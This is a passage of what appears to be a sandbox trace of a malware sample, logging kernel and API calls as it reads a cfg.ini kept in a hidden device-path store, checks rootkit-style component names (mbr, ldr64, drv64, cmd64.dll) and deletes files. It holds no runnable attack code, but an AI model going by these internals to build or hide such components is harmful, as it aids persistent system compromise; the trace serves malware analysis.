SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.777] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.777] IdePortDispatch () returned 0x103 [0125.777] KeWaitForMutexObject () returned 0x0 [0125.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.777] KeLeaveCriticalRegion () [0125.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.777] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.777] KeEnterCriticalRegion () [0125.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce6000 [0125.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.778] IdePortDispatch () returned 0x103 [0125.778] KeWaitForMutexObject () returned 0x0 [0125.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.778] IdePortDispatch () returned 0x103 [0125.778] KeWaitForMutexObject () returned 0x0 [0125.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.778] KeLeaveCriticalRegion () [0125.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.779] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.779] KeEnterCriticalRegion () [0125.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] KeLeaveCriticalRegion () [0125.779] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.779] KeEnterCriticalRegion () [0125.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.779] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] KeLeaveCriticalRegion () [0125.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.779] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.779] KeEnterCriticalRegion () [0125.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] ExFreePoolWithTag (P=0xfffffa8003bf90d0, Tag=0x0) [0125.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] KeLeaveCriticalRegion () [0125.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.779] ReleaseMutex (hMutex=0xf0) returned 1 [0125.779] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.779] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.779] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.779] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.779] KeEnterCriticalRegion () [0125.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.779] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.779] IdePortDispatch () returned 0x103 [0125.779] KeWaitForMutexObject () returned 0x0 [0125.779] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.780] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.780] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.780] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.780] KeLeaveCriticalRegion () [0125.780] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.780] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.780] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.780] KeEnterCriticalRegion () [0125.780] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.780] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.780] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.780] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.780] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.780] IdePortDispatch () returned 0x103 [0125.780] KeWaitForMutexObject () returned 0x0 [0125.780] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.780] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.780] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.780] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.780] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.780] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.780] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.781] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.781] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.781] KeLeaveCriticalRegion () [0125.781] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.781] ReleaseMutex (hMutex=0x100) returned 1 [0125.781] Sleep (dwMilliseconds=0x2bf20) [0125.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e2b0670, dwHighDateTime=0x1d24fa4)) [0125.787] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.787] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.787] KeEnterCriticalRegion () [0125.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.787] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.787] IdePortDispatch () returned 0x103 [0125.787] KeWaitForMutexObject () returned 0x0 [0125.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.787] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.787] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.787] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.787] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.787] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8a50 [0125.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.787] KeLeaveCriticalRegion () [0125.787] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.787] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.787] KeEnterCriticalRegion () [0125.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.787] KeLeaveCriticalRegion () [0125.788] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.788] KeEnterCriticalRegion () [0125.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.788] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.788] IdePortDispatch () returned 0x103 [0125.788] KeWaitForMutexObject () returned 0x0 [0125.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.788] KeLeaveCriticalRegion () [0125.788] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.788] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.788] KeEnterCriticalRegion () [0125.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce9000 [0125.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.788] IdePortDispatch () returned 0x103 [0125.788] KeWaitForMutexObject () returned 0x0 [0125.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.788] IdePortDispatch () returned 0x103 [0125.789] KeWaitForMutexObject () returned 0x0 [0125.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] KeLeaveCriticalRegion () [0125.789] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.789] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.789] KeEnterCriticalRegion () [0125.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] KeLeaveCriticalRegion () [0125.789] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.789] KeEnterCriticalRegion () [0125.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.789] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] KeLeaveCriticalRegion () [0125.789] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.789] KeEnterCriticalRegion () [0125.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.789] ExFreePoolWithTag (P=0xfffffa8003bf8a50, Tag=0x0) [0125.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.790] KeLeaveCriticalRegion () [0125.790] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.790] ReleaseMutex (hMutex=0xf0) returned 1 [0125.790] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.790] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.790] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.790] KeEnterCriticalRegion () [0125.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.790] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.790] IdePortDispatch () returned 0x103 [0125.791] KeWaitForMutexObject () returned 0x0 [0125.791] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.791] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.791] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.791] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.791] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.791] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9620 [0125.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.791] KeLeaveCriticalRegion () [0125.791] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.791] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.791] KeEnterCriticalRegion () [0125.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.791] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.791] KeLeaveCriticalRegion () [0125.791] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.791] KeEnterCriticalRegion () [0125.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.791] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.791] IdePortDispatch () returned 0x103 [0125.792] KeWaitForMutexObject () returned 0x0 [0125.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.792] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.792] KeLeaveCriticalRegion () [0125.792] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.792] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.792] KeEnterCriticalRegion () [0125.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.792] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cea000 [0125.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.792] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.792] IdePortDispatch () returned 0x103 [0125.792] KeWaitForMutexObject () returned 0x0 [0125.792] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.792] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.792] IdePortDispatch () returned 0x103 [0125.792] KeWaitForMutexObject () returned 0x0 [0125.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] KeLeaveCriticalRegion () [0125.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.793] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.793] KeEnterCriticalRegion () [0125.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] KeLeaveCriticalRegion () [0125.793] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.793] KeEnterCriticalRegion () [0125.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.793] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] KeLeaveCriticalRegion () [0125.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.793] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.793] KeEnterCriticalRegion () [0125.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] ExFreePoolWithTag (P=0xfffffa8003bf9620, Tag=0x0) [0125.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.793] KeLeaveCriticalRegion () [0125.793] IofCompleteRequest (Irp=0xfffffa8003aa6e20, 